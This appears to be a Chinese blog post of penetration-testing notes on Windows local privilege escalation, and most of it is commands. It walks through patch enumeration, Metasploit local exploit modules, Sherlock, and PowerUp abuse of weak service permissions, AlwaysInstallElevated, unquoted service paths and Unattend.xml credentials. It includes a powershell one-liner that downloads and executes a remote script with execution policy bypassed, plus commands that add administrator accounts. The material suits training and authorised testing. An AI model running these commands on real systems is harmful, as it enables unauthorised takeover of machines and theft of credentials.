内网(笔记)-权限提升

admin 2023年6月26日01:53:30评论29 views字数 4537阅读15分7秒阅读模式

1、概述

本篇文章继续记录关于内网渗透方面提权的一些知识笔记。常用的提权方法有系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、Web中间件漏洞提权、DLL劫持提权、滥用高权限令牌提权、第三方软件/服务提权等。

2、内容

2.1 系统内核溢出漏洞提权

我们先说一下在windows中大概分User(普通权限)、Administrator(管理员权限)、System(系统权限)、TrustedInstaller(最高权限,可修改系统文件)。提升权限有两种方式:纵向提权,低权限角色获取高权角色的权限;横向提权,获取同级别角色的权限。

通过系统内核溢出漏洞提权一般通过已知系统漏洞或者0day进行相应攻击。

通过命令查找系统补丁信息

获得目标机器shell,查看当前权限。

whoami /groups

内网(笔记)-权限提升

此时标签内容为Mandatory LabelHigh Mandatory Level代表管理员用户,Mandatory LabelMedium Mandatory Level代表是普通用户。

然后查看系统安装的补丁信息

systeminfo

内网(笔记)-权限提升

通过如下命令列出已经安装补丁。

wmic qfe get Caption,Description,HotFixID,InstalledOn

内网(笔记)-权限提升

根据提权exp与补丁编号对比,使用没有补丁编号的exp进行提权等操作。通过exp可对系统补丁号进行过滤查看指定补丁。

wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3143141" /C:"KB976902"

利用Metsploit查看系统补丁

使用post/windows/gather/enum_patches模块,可根据漏洞编号快速查找系统缺失补丁。

use post/windows/gather/enum_patchesset session 1exploit

Windows-Exploit-Suggester工具

此工具可将系统安装的补丁信息与微软漏洞数据库进行比较,识别可能导致权限提升的漏洞。

该工具使用先将systeminfo保存为txt文档

systeminfo > sahx.txt

然后从微软官方下载安全公告数据库,它将数据保存为xls文件,此处脚本读取xls文件需要xlrd模块支持,版本不能太高

python windows-exploit-suggester.py  --update如果xlrd版本过高可使用下述命令回退版本pip install xlrd==1.2.0

内网(笔记)-权限提升

然后将系统补丁信息与公告信息进行比较就可以得到系统是否存在未修复的漏洞。

python windows-exploit-suggester.py -d 2023-06-25-mssb.xls -i sahx.txt

内网(笔记)-权限提升

工具下载链接:

https://github.com/AonCyberLabs/Windows-Exploit-Suggester此工具使用python2运行

由于我本机是python3,所做了一些小的修改让工具在python3下运行。

运行环境Python 3.8.5xlrd==1.2.0下载链接:公众号回复“WES”获取阿里云盘链接

还可以使用metasploit查找可利用漏洞

use post/multi/recon/local_exploit_suggesterset session 1exploit

powershell脚本sherlock查找用于本地权限提升的漏洞

脚本下载链接

https://github.com/rasta-mouse/Sherlock

在系统shell环境中调用脚本

在调用脚本之前查看策略Get-ExecutionPolicy然后修改执行策略允许调用本地脚本运行Set-ExecutionPolicy RemoteSigned -Scope CurrentUser然后再进行导入脚本进行运行Import-Module d:Sherlock.ps1find-AllVulns

内网(笔记)-权限提升

然后可以使用CS进行提权等操作.

elevate ms14058 smbgetuid

2.2 Windows操作系统配置错误利用

Windows操作系统中的常见配置错误包括管理员凭据配置错误、服务配置错误、故意削弱的安全措施、用户权限过高等。

2.2.1 系统服务权限配置错误(可写目录漏洞):

服务未运行:攻击者会使用任意服务替换原来的服务,然后重启服务服务正在运行且无法被终止:符合大多数的漏洞利用场景,攻击者通常会利用DLL劫持技术尝试重启服务来提权

PowerUp下的实战利用

PowerUp是Privesc模块下的一个脚本,功能相当强大,拥有众多用来寻找目标主机Windows服务漏洞进行提权的实用脚本。

脚本利用:

powershell.exe -exec bypass -Command "& {Import-Module .PowerUp.ps1; Invoke-AllChecks}"
powershell.exe -nop  -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowershellEmpire/powerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"

通过脚本检查可列出可能存在的所有服务,并会直接给出利用方式,比如村子啊OmniServers服务漏洞

powershell.exe -nop  -exec bypass -c IEX(New-Object Net.WebClient).DownloadString('c:PowerUp.ps1'); Install-ServiceBinary-ServiceName 'OmniServers' -UserName shuteer -Password Password@123

重启系统,该服务将停止运行并自动添加用户。

Metasploit下的实战利用

use exploit/windows/local/service_permissions

其中如果把AGGRESSIVE选项设为“true”,则可以利用目标机器上每一个有该漏洞的服务,设为“false”则在第一次提权成功后就会停止工作。

2.2.2 注册标键AlwaysInstallElevated

注册标键AlwaysInstallElevated策略设置项,windows允许低权限用户以System权限运行安装文件。启用此策略,任何权限用户能以NT AUTHORITY/SYSTEM权限来安装恶意MSI文件。

PowerUp下的实战利用

先检查注册表键是否设置,结果为True则是已设置

powershell.exe -nop  -exec bypass  IEX(New-Object Net.WebClient).DownloadString('c:PowerUp.ps1'); Get-RegistryAlwaysInstallElevated

内网(笔记)-权限提升

生成MSI文件

Write-UserAddMSI

内网(笔记)-权限提升

然后以普通用户权限运行UserAdd.msi就会添加一个管理员账户

msiexec /q /i UserAdd.msi/quiet参数 在安装过程中禁止向用户发送消息/qn参数 不适用GUI/i参数 安装程序

也可使用Metasploit的模块完成。

use exploiexploit/windows/local/always_install_elevated

2.2.3 可信任服务路径漏洞

该漏洞有两种可能

如果路径与服务有关,就任意创建一个服务或者编译Service模板如果路径与执行文件有关,就任意创建一个可执行文件

Metasploit下的实战利用

检查目标机器是否存在该漏洞

wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "c:windows\" | findstr /i /v """

上述命令列出服务器中所有没有被引号引起来的服务的路径,且路径中包含空格,因此存在可信任服务路径漏洞。

内网(笔记)-权限提升

接下来检查是否有对目标文件夹的写权限,使用windows内置工具icacls。

icacls "C:Program FilesShadow Defender"

内网(笔记)-权限提升

everyone: 所有用户都具有修改这个文件夹的权限M:修改F:完全控制CI:从属容器将继承访问控制项OI: 从属文件将继承访问控制项Everyone:(OI)(CI)(F):对该文件夹用户有读、写、删除其下文件、删除其子目录的权限

确认漏洞后,将上传程序重命名并放置在此漏洞且可写的目录下,执行命令尝试重启服务

sc stop service_namesc start service_name

metasploit使用trusted_service_path模块

search trusted_service_path

之后获取反弹shell后使用如下命令进行进程迁移

set AutoRunScript migrate -f

2.2.4 自动安装配置文件

使用命令搜索Unattend.xml文件

dir /b /s c:Unattend.xml

内网(笔记)-权限提升

查看xml文件中是否包含明文密码或者经过Base64加密的密码。

可使用metasploit进行攻击

use post/windows/gather/enum_unattend

2.2.5 计划任务

查看计划任务

schtasks /query /fo LIST /v

使用工具

下载链接:http://technet.microsoft.com/ZH-cn/sysinternals/bb664922

执行命令查看目录权限配置情况

accesschk.exe -dqv "C:Microsoft" -accepteula

自动接受许可协议

accesschk.exe /accepteula

列出某个驱动器下所有权限配置有缺陷的文件夹

accesschk.exe -uwdqs Users c:accesschk.exe -uwdqs "AuthenticatedUsers"c:

列出某个驱动器下所有权限配置有缺陷的文件夹

accesschk.exe -uwdqs Users c:*.*accesschk.exe -uwdqs "Authenticated Users" c:*.*

2.2.6 Empire内置模块

输入查看模块列表

usemodule privesc/powerup

使用AllChecks模块执行脚本、检查系统漏洞等。

usemodule privesc/powerup/allchecksexecute

免责声明:

本公众号漏洞复现文章,SRC、渗透测试等文章,仅供学习参考,请勿用于实战!!有授权情况下除外!!由于传播、利用本公众号文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责

原文始发于微信公众号(sahx安全从业记):内网(笔记)-权限提升

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月26日01:53:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网(笔记)-权限提升https://cn-sec.com/archives/1833559.html

发表评论

匿名网友 填写信息